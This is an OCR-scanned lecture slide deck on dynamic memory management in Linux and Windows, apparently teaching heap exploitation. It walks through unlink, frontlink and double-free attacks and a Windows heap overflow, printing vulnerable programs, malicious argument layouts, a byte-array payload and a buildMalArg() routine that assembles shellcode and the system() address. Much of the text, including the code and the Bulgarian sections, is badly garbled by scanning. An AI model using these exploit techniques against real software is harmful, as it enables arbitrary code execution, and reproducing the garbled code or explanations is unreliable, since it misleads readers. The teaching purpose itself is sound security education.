Dynamic Memory management
good and bad news

Common notes

eIn Linux (Doug Lea’s malloc) and in Windows platforms (RtlIHeap)
ereserving and freeing variable-size chunks of memory: always part of the client
process
oList of free chunks (in random order or in decreasing or increasing order)
is maintained [Knuth]
eAlgorithm for best-fit or first-fit can be used
eMethods for un-allocation of memory chunks must be performed also. That
means returning to the free space lists and consolidating adjacent areas.

Common dynamic memory management errors

oIn initialization process. for example: malloc() doesn’t zeros memory,

eFailing to check return values for fails or exception. Or check them incorrectly

sReferencing freed memory. Read it will always succeed but no guarantee is not altered
somewhere. Or shared variable can be free and overwritten but used from another process

*Freeing memory multiple times
sImproperly paired memory managemen

ions: new / delete ; malloc() / free()

See example



Figure illustrates another dangerous situation in which memory can
be freed multiple times. This diagram shows two linked list data structures that
share common elements. Such data structures are not uncommon but intro-
duce problems when memory is freed. If a program traverses each linked list

freeing each memory chunk pointer, several memory chunks will be freed

. If the program only traverses a single list (and then frees both list struc-
tures), memory will be leaked. Of these two choices, it is less dangerous to leak




Linux memory allocator — a bit of theory 1/6

used in GNU C library for most Versions of Linux, Red Hat .. (malloc()... )

PREV_INUSE bit shows if the previous chunk is
still allocated

nable to consolidate (de-fragment) memory

?

Head
element

Free list double-linked structure  (the name for this is ‘bin’)



Used when

(1)

or a chunk is taken off the free list because of a

2/6
(2)

to remove (unallocate) a chunk from double-linked list (the unlink() macro).

memory is consolidated ;

new allocation :

<-BK (2)

YcnoBHU 0603HaYeHMs 3a
NpeauLLIHnS 1 cneasall
EnemMeHT OT
k
33

MCbKa

PR BRI PR
(3) FD ->bk = BK
(4) BK ->fd =
: /(1>
Figure 4-11.

FD ; .
Results
of unlink
Four-step unlink example

Important
equitations

in unlink()
macro



How buffer overflows can crash a program 3/6

When working outside of array boundary is possible. Corrupts data structures and is vulnerable to attacks

because arbitrary code is possible to be addressed.

Bqth unlink and front-link techniques can be used for this purpose. (1) Unlink technique:
1 Jexample
1. #include <stdlib.h>
2. #include <string.h> 1. A string is written outside boundary of ‘first’
3. int main(int argc, char *argv[]) { 2. “first’is free()
4. char *first, *second, *third; 3. ‘second’is freed, so system tries to consolidate
5. first = malloc(666); 4. To determine ‘second’ is unallocated — line 10
6. second = malloc(12); // A small block immediately after the first checks PREV_INUSE bit of the ‘third’. How to find it —
7. third = malloc(12); see picture 2. In the case 'second’ is still allocated
8. strcpy(first, argvll]); // Unbounded strcpy() is vulnerable hen no consolidation (no unlink occurs) !
9. free(first); // to buffer overflow attack
10. free(second);
E free(thi '33 ; But malicious argument had overwritten the fields in the ‘§econd’:
« gereturn(0)ye., «'Size’ field = -4. So ‘third’ chunk seems be 4 bytes before econd’
13. } eFalse PREV_INUSE=0. ‘second’-unallocated. Free() consolidates
eAddress supplied by attacker (in bk) is interpreted as back pointer

e to an exploit u§fng thewnlink techniqu

Y
......
'~S.0 4b

+This Back pointer’s contents is used by unlink() macro to changé the
value of FD-A12 (means the bk field in the next chunk). But F

supplied by attacker and may be any address (fp !!! For example)

tes of data\supplied by an attacker are written fo address

First ch al<esupplied by the atkacker through line 2 & 3 in ynlink proc. )
.'H;s.t.chunk 680 bytes
(bytezv.lby&es str\en(she'l'lcode) Tl
Second chunk [dunmy | dumm)\ . \shel1code []eBfB]g[B]...ccvvvereee [8]..
L K / b2
fd bk \ﬂf

Third chunk

 Size of chunk, in bytes

Using the size field to find the start of the next chunk

h..
4
%
LB
) macro when called !!! Can jump to ...

."fp.-;z in this example

Second chunk with overwritten fj

4bytes 4 bytes / 4 bytes 4 bytes
[even int] -4 | fp-12 ] addr [\points.somewhere, so
B e T "7 unlink() Wil pverwrite
prev size fd some address’ *+.,

size when line 10 executes

Malicious argument used in unlink technique



4/6

How (2) frontlink technique can crash a program

When a chunk is freed, it is linked thto an double-linked list. This is done by frontlink() code execution.

(this is @ macro, in
The macro is unifying segments in the bi

rted in code segments when needed).

n in descending order of its size.

Technique is similar to unlink() (previous theme).

Attacker su

lies not an address, but short executable (jm

instruction for example: 4 bytes) in

suitable place, in the way to substitute a system call to a known function with his own .

Into this ‘fake’ chunk is stored the address that will be us%d\A

‘second’ is smaller than *fifth’ — so frontlink() is trying to arrange it

immediately after in the/bin

as|a function, pointer - in the location where a ‘Back

Painter’ (of chun rmally is stored. T

THis function pointer may po e first destructor func S

executed (which address can be found A~ section of 4,
5.

the program) The attacker can discover this address
ex@mining the executable image of the code. His will is to

make a substitution — so to point his own function. 8.
9.
hen second is freed (15), frontlink() starts to ig
unify it with 7ifth chunk. As a result the forward 12.
pointer of fifth (address of a fake chunk) is stored 13.
as$ FD and back pointer from the fake chunk is stored 14.
in variable BK ( BK now contains the address of the ig_'

iy 8 |

function pointer). So a normal function pointer

. #include <stdlib.

nt main(int a
char *first,

» char * argv[]) {
econd, *third;

char *fourth, ifth, *sixth;

first = mall rlen(Cargv[2]) + 1);
maljloc(1500);

third = ma ;
fourth = mafl1oc(666):
fifth = maJloc(1508);
sixth = m3a1loc(12);

strepy(fifst, argv[2]){/ malicious arg. contains shellcode and
free(fifth); // last 4 bytes (bk of II ) are jmp into i
strcpy (fourth, argv[1]); // Overflows - address of a fake chun

Jr'

free(second); // is put into forward pointer of the
return(0); /[ fifth chunk, because immediately

/| after ‘seeded’ -fourth

is|overwritten by a malicious one.
When return(0) occurs a first destr function is called

but ‘fake’ code is executed instead. .

Sample code vulnerable to an exploit using the frontlink techniaue
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KakBO BCbLYHOCT CTaBa B 6/710kOBeTe naMerT:

LLle ce obeanHsaBa c V
(cnen Hero)

LLle ce obeanHsaBa c II
(npeaxoxpaa ro)

3aetn ot strcpy() 610koBe

NoameHeHn noneta (bk n fw Ha cnepgsawmTe rn 6nokose)
BcneacTeme Ha overflow

fw — Beue coum cTapToBMusA agpec Ha BpeaAuTesICKUA, BHeApeH Koa

Bcneacrtene Ha obeanHsiBaHETO Ha ocBOboaeHUTe cerMeHTn V u
IT n o1 KkaTo II e cnep V, cbabp)KaHNETO Ha fw e ce 3anuule
TaM kbaeTo coun bk. T.e. — ctaHgapTHaTa aecTpykTop d-us we
6bae nogMeHeHa Taka, Ye Aa coun CTapToBMS agpec Ha
BPeAUTENICKNSA Ko



Double — free vulnerabilities

bin -> 3] Forward pointer to first chunk in list
C ‘Back pointer to last chunk in list

P-> | Size of previous chunk, if unallocated
Size of chunk, in bytes

User data

Empty bin and allocated chunk

3. Abnormal situation — structures are corrupted

bin -> ~«F9M§(d pointer to first chunk in list
_ Back pointer to last chunk in list

y| Size of previous chunk, if unallocated
Size of chunk, in bytes 1
Forward pointer to next chunk in list
Back pointer to previous chunk in list
Unused space (may be Obyaes long)
Sizeofchunk

Corrupted data structures after second call of free()

Must: 5/ 6
1. The chunk be isolated: no consolidation can occur
2. The freed chunk must be first into the empty bin

2. double-linked list after free() a normal situation

Size of previous chunk, if una‘llocated
Size of chunk, in bytes

Forward pointer to next chunk in list

Back pointer to previous chunk in list

Unused space (may be 0 bytes long)

~ Size of chunk ’

Bin with single free chunk

4.

If a request for memory of same size occurs now,

the memory allocator will attempt to allocate it from

the bin. And will succeed.

Invoking unlink() macro to remove the chunk from the bin
of free chunks, leaves the pointers unchanged.

As a result if additional requests for allocation occur

for a chunk of a same size — the same chunk will be returned.

It's wrong!!!

But the worst is :

In this situation malloc() can be used to execute malicious code:

\>



Example program where double free vulnerability exists: 6 /6

T,

Let be the address of strcpy()
(4 bytes)

in the global offset table —
must be difficult, but possible
to find this address (for the
current heap structures)

// this is the target block for the exploit 4 bytes, that will be put
in desired place: where
GOT_LOCATON points

// now first is in the cache bin — unlink() will not be called for cache
// now *first’ is put into regular bin

/] second free() for *first’

eFirst Chupk must not be consolidated with other free chunks n freed: the bin was empty & second is not freed
eHaving allocated ‘second’ and ‘fourth’ chunks (between I and III) p nts the third being consolidated.

eAllocating fifth (19) split the memory of the third

eFreeing first second time (20) sets up the double free vulnerability — when sixth iSTallqcated (21) the same chunk
pointgr (to first) is returned. Some elaborated data are copied into this memory (lines 22,

eSeventh chunk is allocated in the same memory (24). Unlink() macro copies the address of the code onto the
address of the strcpy() in the global offset table (same as ‘unlink” technique before). Then when strcpy() is called (25),

control is transferred to shellcode !!!




YnpasneHue Ha naMmetta B Windows

CTpaHu4yHa opraHusalua Ha agpecHOTO NPOCTPaHCTBO
- cTpaHuum no 4K Bcsaka;

- :GetSystemInfo() cbbupa nHcpopmauus;

- BUPTyasiHO pa3wumpeHue Ha Oll: padfile.sys;

- BaJIMAHU U HEBAaJZIMAHU CTPaHULIN.

Pa3snpepeneHue Ha naMeTTa 3a nNpoyec:

BUPT. aapec CbAbpKaHue
0-64 Kb CNY>XeOHN

Haa 64 Kb 3a MOAY/IM Ha M3nbJiIHMMUA pann

Haj ropHus 3a heaps u threads stacks

Hapg TaX 3a DLL

Hapa TaX cucteMHum DLL: Kernel32, User32, GDI32 n OC

2GB — 4GB 3a Hy)XxauTte Ha OC




Pabota c auH. nameTt (ot heap Ha npouec): HeapAlloc() 3a ronemu n VirtualAlloc() 3a manku 6nokose

1.Pe3epBupaHe: 3agens ce (Mapkupa ce )60k C onpegeneHa rojieMMHa B
pPaMKUTE M 3a HY)XXAUTE Ha npoLeca.
To3u 6510k NOBTOPHO HE MOXe Aa ce pe3epBupa.lfipumep:

pMem = VirtualAlloc(<Hau.agpec Ha 6noka unm NULL>, <6pom cTp. 3a
pe3epBupaHe>, MEM_RESERVE.., <npaBa Ha gocrbn>); // kpaTHO Ha 64K

2. 3agensiHe (commit): Nno CTpaHuUM (Hanp. 4K) n no Heo6xoamumocT, B Ol n B swap file or

pe3epBupaHara. (VlrtuaIAIIoc( .» MEM_COMMIT,..). EnBa cera Mo)ke fia ce u3nosi3Ba naMerTa.
Cnep n3uepnBaHeTo U — reHepupa exception: exception_guard_page. Torasa:
e ) __except(GetExceptionCode() == ....... ){...}

EXCEPTION_GUARD_PAGE

guard page —
- =

[lonbnHUTENHO 3a4eneHa nameT

S

n3nosidBaHa 4acrt

n3nosidBaHe /




EnemMeHTH Ha BUpTyaJiIHaTa OpraHM3aumsa Ha naMmertTa:
- 4GB KbM npouec, pasaeneHun Ha cTtpaHuum; permctbp CR3 counl geckpuntopHa Tabnuua
(uma pgo 1024 page-tables) 2>oTtaenHo 1 page-table coun go 1024 crpaHmum
- flags for: ‘page present’; ‘page fault’; anHammyHo cBansiHe Ha CcTp. Ha auck; swap file.
- EXE n DLL ce acouuupart cbc swap file, 6e3 ga ce 3anuceat B Hero.

- Shared 6510k0Be: B agp. NPOCTPAHCTBO Ha > OT 1 npouec, HO eAHOKPATHO 3aAeNIeHn:

npouecl ¢u3nyecka namMer npouec2 3awuTa Ha BUpT.NaMeT:
e OTA. aAp. NPOCTPAHCTBA
e User/kernel code
- I . —  6ensizaHm crp:
- o’** protected
o¥* R/W;
o**axecute only
o** guard

o** no access;
o** copy on write

NMopensiHe Ha rnob6asiHn AaHHMU M/Ay npouecum. ﬁenuu KONMuAa M OTJ1I0)KEHO pa3MHOX>XaBaHe

- MexaHU3MbT:
Lazy evaluation

copy-on-
write




Windows memory management (with RtiHeap)
RtlHeap is the memory manager on Windows. Uses API functions for memory management

5 sets of Windows API functions: Bl e e { W‘“*”ZAW“;&“W
(3) Local, global | (4) CRT memory
v memory API functions L
(2) Heap memory API
1. 4K pages, reserved, committed, PR SRS
page management;

2. HeapCreate(), process heap, GetProcessHeap

3. Only for compatibility with old versions

4. In Win32 environment (C Run-Time Library)

5. Discussed later
RtlHeap data structures: Win32 memory management APIs
-Process environment block(PEB) —info about internal data structures, number and addresses of heaps
-Free lists: located at from the start of the heap (HeapCreate()). Used to keep track of free chunks
Contains 128 double linked lists for chunks of the same size (exception is FreeList[0] —
containing buffers >1024 bytes) \
-look-Aside lists: up to 128 single linked lists = mies

for small memory blozks (<1K)-tg speed up aIIoc(-? ? = It;[ = H 2. I:;l i Jﬁ
-Memory chunks: a control structure 8 P [aret nfegls Smgeoilid
associated with each allocated chunk 3

by HeapAlloc() or malloc(). The structure 4

precedes the address returned by 8 5

8 i ==~ BT }ﬁ

bytes.

2R e |
FreelList data structure



01—Busy
02—Extra present

04—Fill pattern b u Sy
: 08—Virtual all
1 O—Lalxstu zn:ryc'c
20—FFU1
40—FFU2
80—Don'tcodlesce - Control structure ( one memory chunk),
TR ST T? ; associated with each allocated by
t V) T
Self size | VIO | Sondex | Mass | b | \aebugy. | heapAlloc() or malloc() chunk

l I [ [ [ | | ] (all chunks are multiples of 8)

0 1 2 3 4 5 6 7 8

) =

Fi¢

After free() or HeapFree() memory is Self size """"’s‘l" chunk Segment | p.gs | Unused | Tag index
added to the coresponding free list o e bytes | (debug)
with index for memory chunks of that s
(see prev. slide) Next chunk | ____——> Previous chunk
Pointers point to free lists of same size -—"
or to the head of the list.

| | | | | | & alloca]
Memory is unmovable . 0 1 2 3 4 5 6 7




Buffer overflow attacks in Windows — from inside:
- When overwriting forward or backward pointers used in double —linked lists.

This results in changing the normal execution flow and invoking attacker supplied code.

Figure shows an example of how this occurs :

This is the return address for the function of the example (may be any other executable address)

\

echunks are contiguou
e creationofag
eChunk h2 is in FreeLi
(fd and bk) head of FreeL
eBuffer overflow (11)
eLast 8 bytes in malArg[] overwrite

pointers to the next and previous chunk3a
‘Next’ is overwritten by the address that will be

overwritten (in the case — the return address ¢
the stack). ‘Previous’ is

overwritten with the address of a shellc
eHeapAlloc() (12) allocates the same me
*Then return address is overwritten with
address of shellcode

eWhen return in mem() occures (17),

the control is passed to the shellcode.

kg
2%

¥
4.
5

unsigned char shellcode[] = "\Xx90\x90\x90\x90";
unsigned char malArg[]1%= "0123456789012345//overwrites user data
"\ x05\x00\x03\x00\x00\x00\x08\x00Q" // overwrites the boundary tag
"\ xb8\xf5\x12\ x00\ x40\ x90\ x40\ x00" ; // will overwrite pointers
void mem() {
HANDLE hp;
HLOCAL hl = 0, h2 = 0, h3 = 0, h4 = 0;

nters point to

pwy,) 6 -

7.
8.
9.
10.
117

N az.

13.
des4 .

174

ory

15 .
16.
17.
18.

hp = HeapCreate(0, 0x1000, 0x10000) j/initial size 1000,max 10000
hl = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 16);

h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128);

h3 = HeapAllocChp, HEAP_ZERO_MEMORY, 416) ;

HeapFreeChp,0,h2);

memcpy (hl, malArg, 32);

h4 = HeapAllocChp, HEAP_ZERO_MEMORY, {128);
return;

}

int _tmain(int argc, _TCHAR* argv[]) {
mem() ;
return O;

j

Previous next before Heaprree()

[
<« »

Exploit of buffer overflow in dynamic memory on Windows

When HeapAlloc() - linel2: where ‘next’ points (return address )
will be written ‘previous’ (address of shellcode)



The previous slide

Buffer Overflows

The heap-based overflow exploit from Figure () required that the overwrit-
ten address be executable. While this is possible, it is often difficult to identify
such an address. Another approach is to gain control by overwriting the
address of an exception handler and subsequently triggering an exception.

Figure < shows another program that is vulnerable to a h-eap-based
overflow resulting the strcpy () on line 7. This program is different from
the vulnerable program previously shown in that there are no

Is-:rsu-l;:_tfll:e-l,-Reriisst; g lowed by the memory allocated for h1, followed by the segment trailer. When
in each FreeList[] <\b.]__i5%h\mvedm1 line 7, the resulting over overwrites the segment
ellement and trailer, including the LIST_ENTRY structure that points (forsward and backward)
;2?::::;"9 2 to the start of the free lists at FreeList[0]. In our previous exploit, we over-
(flink, blink) wrote the pointers in the free list for chunks of a given length. Inthis case,

to Frezle List beginning  these pointers would only be referenced again in the case where a progr
(adress 0x..178)  requested another freed chunk of the same size[line 8] .

These pointers will likely be referenced in the next call to RtHeap — triggering an exception



w

H

M

e
w N

14.
15.
16.
17
18.

= O VW0 NOW

int mem(char *buf) {
HLOCAL hl = 0, h2 = 0O;
HANDLE hp;

hp = HeapCreate(0, 0x1000, 0x10000) ;

if ('hp) return -1;

hl = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 260) ;
strcpy((char *)hl, buf);

h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);
printf("we never get here");

return O;

}

int main(int argc, char *argv[]) {
HMODULE 1;

1 = LoadLibrary("wmvcore.dl11");

buildMalArg() ; // this user function is discussed later
mem(buffer) ;

return O;

Program vulnerable to heap-based overflow



hl

00ba0680 22 00 08 00 00 01 Oc 00 61 61 61 61 61 61 61 61
00ba0690 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 Heap after HeapAlloc() [line 6].

User memory

00ba0780 61 61 61 61 61 61 61 61
00ba0790 Oe 01 22 00 00 10 00 00

? \ 4 bytes added (multiple of 8)

flink blink

Organization of the heap after first HeapAlloc

Overwritten pointers on line 7.
Points to FreList[0]

The Figure shows the organization of the heap after the \tall to HeapAlloc()
on line 6. The hl variable points at 0x00ba0688, which ig the start of user
memory. In this example, the actual user spac¢ has been filled with 0x61 to dif-
ferentiate it from other memory. Because the \allocation of 260 bytes is not a
multiple of eight, an additional four bytes of memory are allocated by the
memory manager. These bytes still have the vhlue 0x00 in Figure . Fol-
lowing these bytes is the start of a large free chunk of 2160 byte§ (0x10e x 8).
Following the eight-byte boundary tags are the forward pointer\(f1ink) and
backward pointer (b1ink) to FreeList[0] at 0x00ba0798 and 0x00ba079c.
These pointers can be overwritten by the call to strcpy() on line 7 to transfer

control to user-supplied shellcode.
How this can occur = see the next slide



Code that can be used to create a malicious argument (buildMalArg())
for the attack

We are going to replace the address of a standard exception handler:

1. char buffer[1000]="";
BRSO bu TAMA ARG T Overwrites the forward (with the address
3. int addr = 0, i = O; t hich I1b f d d
4. unsigned int systemAddr = O; 0o whi cont_r 1 e_trans erre )an
= char tmp[8]1=""; back ointers — this value
6 Add GetAddress("msvcrt.dl11","system") ; - dress where Windows
. system r = Ge re - ’ H
7. for (i=0; i < 66; i++) strcat(buffer, "DDDD"); ores the address of the user handler
8. strcat(buffer, "\xeb\x14"); (set by SetUnhandledExceptionFilter()
9. strcat(buffer, "\X44\X44\X44\X44\X44\X to replace the normal unhandled
10. strcat(buffer, "\x73\x68\x68\x08") ; . _ N
11. strcat(buffer, "\x4c\x04\x5d\x7c") ;//address of the exceptmnexcePtlon handler by a user-defined.)
=t /handler i in Windows .
22. for (i=0; i < 21; 1i++) strcat(buffer,’ When next allocation occurs, because of
the corrupted pointers, allocation will
13. strat(buffer,
"\ x33\xCO\X50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xBI2 i
3 flink points).
14. fi xupaﬂg riises Ctm;’- systemAddr) ; Address of malicious code will replace
15. strcat(bu er,tmp); -
Re ctrcat(buffer . "\xFFA\XD1\x90\x90") ; the normal exception handler
(0x7C5D044C) An exception WI|| be
p i return;
18. }
Preparation of shellcode for buffer overflow T—“eccmtrollstransfermdtotlw

supplied address ,
not the normal unhandled

exception handler.




Memory mapped file

(acounmnpaHe Ha c¢pann c agpecHO NPOCTPAHCTBO OT NaMeTTa)

Cnepn ToBa, KoraTto ce 3asiBU AOCTBbN A0 CTPaHULA OT NaMeTTa, memory manager s
yerte OT AMcKa u nbxa B RAM. ETO Kak ce pa3BuBa NpoLechHT:

NDLE hFile = ::CreatefFile(....) //cb3paBame file handle
= ::CreateFileMapping(hFile, ...); //mannnynarop Ha file mapping object

loseHandle(hFile);

[Ba npoueca morat ga nonssart o6uy hMap, 1.e. Te umat obwa namert (caMo 3a yeTeHe).
IpvFile (appecbT Ha gencTBMTENHaTa NaMeT) pa3bupa ce e pa3nnueH.

Ako nckame obwa namert ( He ot chann mapping):
( dyHkumsara GlobalAlloc(..., GMEM _SHARED,..); B Win32 He npaBu shared 6510k, kakto 6ewe B Winl16.)

Mpoueanypata e kakTo no-rope, 6e3 CreateFile() u c nogaBaHe Ha cnuudUyeH napaMeTbp:
( OXFFFFFFFF Bmecto hFile ). Cb3naBa ce noaeneH file-mapping obexkt (Hanp Mm/Aay npouecu) ¢
yKa3aH pa3Mep B paging ¢aina, a He kaTo otaeneH ¢dann. (MFC HaMa noaapbKKa Ha TO3MU
MexaHu3bM — CSharedFile npaBu o6MeH Ha 06wwmn aaHHM npes3 clipboard.)



* Hama pasnuka M/ay rnob6aneH un nokaneH heap. Bcmuko e B pamkute Ha 2GB namer 3a
NpUI0XXEHUETO.
*nonsBaunte p-uute 3a pabora c namer Ha C/C++ u KnacoBeTe, ako HAMaTe cneuunasiHu

M3UCKBaHUSA;
* c1:3n43aﬁTe cBou, unn Bukaute API ¢h-uu npm no-cneuunasnHu cnyyvam;

il

nMma 2 Buaa heap: 1 aBT. 3ageneH ot OC 3a npunoxeHuerto (GlobalAlloc(),kosnTo
eapAlloc(),nnn no-necHo- pabora c malloc/free,unu oue no-necHo- new/delete)

" 2. co6¢cTBeHu heap 6nokoBe:

=Cb3AaBaHe hHeap = HeapCreate(,,.pasmep);

/ /MoOXxe CMHXpOHM3UPpaH AOCTbN A0 XMuna oT noBeye ot 1 thread B paMmkuTe Ha npouec

= 3a/ie/iIsHe naMeT OT Cb3AaAeH pHeap = HeapAlloc(hHeap, onuuu, pasmep);
= 0CBO6OXAaBaHe HeapFree();

Hakou cbBeTH npu paboTta cbc cobcTBeH heap

* Cb3paBauTe snokaneH heap B paMkute Ha cBouTe Knacose (no 1 3a kiac)
** n36sirea ce ce pparMeHauMsTa rNpyv Npoab/HKUTENTHA paboTa.
** HapacTBa 6e30nacHOCTTA, Nopaau U30s1aUuMATa B paMKM Ha npouec
**nossonsieBa moauduumpaHe Ha new, delete onepaTopuTe, KOHKPETHO 3a
KN1ac, B paMKUTE Ha KOHCTpyKTopa. Cb6ropaBanTe cxemara:
1. aKo He e cb3aAeH, cb3aaBa ce private heap n ce vHmynanmsunpa
CBbp3aH C Hero 6posiu (Ha U3NoN3BaHUATA)
2. 3aaenfT ce Heobxoanumusa 6poi 6anTose;
3. MHKpeMeHTHUpa ce 6posiua.
Mo aHanorn4yHa cxema ce npeaecdunHupa m onepaums delete



Hakoun cbBeTn npu pabora c AMHaMUYHA NaMeT

* nocreneHHa ¢pparMeHTauMsa Ha NnaMerTTa.

* BUKaHe Ha _heapmin() npeau 3agensiHe Ha ronemMu 6,10KkoBe 3a NPpeKOMMNOHUpaHe
Ha heap. 3a manku 6nokose delete() e nocTtaTbueH;
* MMHMMM3MpaNTE AAHHUTE, KOMTO MoraT fia nonaaart B swap ¢ganna (BkapBaute B peCypcu
wnn “UHULUNAJTUSHPAHN, KOHCTaHTHU AaHHM' . Te ce MeHaXMpaT pas/InyHo)
* CTeKbT Beye He e orpaHuueH Ao 64K v ctaBa TONIKOBa roJsisiM, KOJIKOTO € HeobxoanMo:
nonssavTe ro BMeCTo AMHaM. naMmer.

ChrobpaxeHusa npv pabora ¢ KOHCTAaHTHU AaHHU (Hanp. HU30Be):
* EXE n DLL He npaBsAT npobnem — Te ca eAHOKPaTHO B NaMeTTa Wiau B ‘swap danna’
ToraBsa, nobpe 6u 6uno n KOHCTaHTH’bﬂe\ﬂaHHM [a Ca KaTo TsX:

* [pn paboTa ¢ HM30Be oT Tnun CString, (HenpecraHHo 3aaens/ocBob6. Mankun o6emu

namer):

1. AKO HU3DBT € HenpoMeHsieM 3a usn M3NbJIHEHUE, AeKJ/IapupauTe:

const char mystr[] = "my string™;

(cbxpaHsiBa ce 3aefHO € koaa —B cekuusaTa .rdata Ha EXE. Te ca n3BbH swap file)
YyaecHo!



2. AkoO HM3 ce cb3aaBa KaTto C++ 06eKT ( npe3 KOHCTPYKTOP) - B CeKuus
.rdata He ce nocTaBAT 06eKTH, Cb3aaAeHU Npe3 KOHCTPYKTOP:

CString my_string("my new constructed string”);

O6eKTbT Cce KOHCTpyMpa B oTaesniHa cekums ( .bss — HeMHMLUMaNU3npaHU faHHK,

cnen KOeTo ce NombJiIBaT MHULManu3palwmTe ro cromHoctu). Cekuusara ce BKapBa B
swap cdanna.
(VHMUManusMpawmTe CTOMHOCTHU Ce NOMbJIBAT CJie] 3apeXxAaHe Ha exe-TO B NaMeTTa,
T.€. N0 BpeMe Ha usnbv/iHeHne. OueBMAHO 06eKTHT He MoXKe Aa ce “npukaun” koM EXE-T0).

3 AKO HM3 ce aeknapupa kaTto rnobanHa wnm static npomeHnuea npes
KOHCTPYKTOP Ha KJiac:
static CString my_str("new instance”);

TOBa BOAM A0:
1. noctaBsiHe Ha CString 06ekT B .bss cekuusaTa (B swap),
2. MacMB OT CUMBOJIUTE Ce NnocTaBsl B cekuus .data (3a mHMLann3npaHu,
HEKOHCTAaHTHU AlaHHM) cekumus. ToBa e oTtaenHa (HoBa) naMmer.
3. Konue Ha CUMBOJIUTE Ce NPEXBbPJISA B XMMNa Ha BCEKU CTapTUpaH npouec.

Huuwo He nonaaa B EXE n BcMuko xapuu naMeT. Jlows BapuaHT!

Han- no6bp e nbpBua noaxon!



